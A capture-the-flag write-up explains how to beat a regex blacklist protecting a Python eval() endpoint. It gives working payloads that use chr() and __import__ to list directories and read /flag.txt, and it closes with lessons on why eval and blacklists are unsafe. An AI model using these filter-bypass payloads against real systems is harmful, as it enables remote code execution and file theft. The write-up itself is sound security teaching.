3v@l
Research
Why eval is dangerous?
- Executes a string as code.
- What more is to be said honestly. (at least for this challenge)
Information Gathering
Taking a look at the HTML in the Inspector section in the Developer Tools we find this hint:
If we break down the regex, which has many parts split by the | (or) operator, we can see what it will and will not match with:
- 0x[0-9A-Fa-f]+: One or more hexadecimal digits (0–9, A–F, a–f).
- \\u[0-9A-Fa-f]{4}: Literally \u (the regex has \\u so it matches one backslash + u). Exactly four hex digits.
- %[0-9A-Fa-f]{2}: Literally %. Exactly two hex digits.
- \.[A-Za-z0-9]{1,3}\b: Literal dot. 1 to 3 alphanumeric characters. Word boundary.
- [\\\/]: Matches either a backslash \ or a forward slash /.
- \.\.: Matches .. (two dots).
Examples of what Matches and Doesn't Match:
- Hex literal: Matches 0xFF, Doesn't Match 0x
- Unicode escape: Matches \u0041, Doesn't Match \u123
- Percent encoding: Matches %20, Doesn't Match %2
- File extension: Matches .js, Doesn't Match .jpeg
- Double dot: Matches .., Doesn't Match ...
Notice that underscores are also not blacklisted. This will come in handy later...
Creating the Payload
We know we can't use the ls command. However, there may still be a way to run a 'list directories' using os.listdir(). The problem is that the keyword os is also blacklisted.
chr(111)+chr(115)osReason: A trick we can use is through the chr() function to evaluate the letters. This outputs os, but it is still just a string object.
__import__(chr(111)+chr(115)).listdir()['app.py', 'static', 'templates']Reason: This is equivalent to __import__('os').listdir(). It allows us to list the current directory contents.
__import__(chr(111)+chr(115)).listdir(chr(47))['flag.txt', ...]Reason: Now we dig around and find the flag.txt file in the / directory. We use chr(47) to represent the forward slash / since it's blacklisted by the regex.
open(chr(47)+'flag.'+chr(116)+'xt').read()[Flag Content]Reason: We need to open and read the file. But remember we are restricted with the regex (/ is blacklisted along with any 1-3 letters after a dot). So instead we use chr() again to thwart the regex blacklist. A more robust solution would be __import__('builtins').open(chr(47)+'flag.'+chr(116)+'xt').read().
Key Takeaways
- Do not use
eval()on user-supplied input. It leads to Remote Code Execution. - Blacklists and regex filters are often insufficient to prevent code execution because attackers can obfuscate or build the payloads using built-in functions like
chr()and dynamic imports.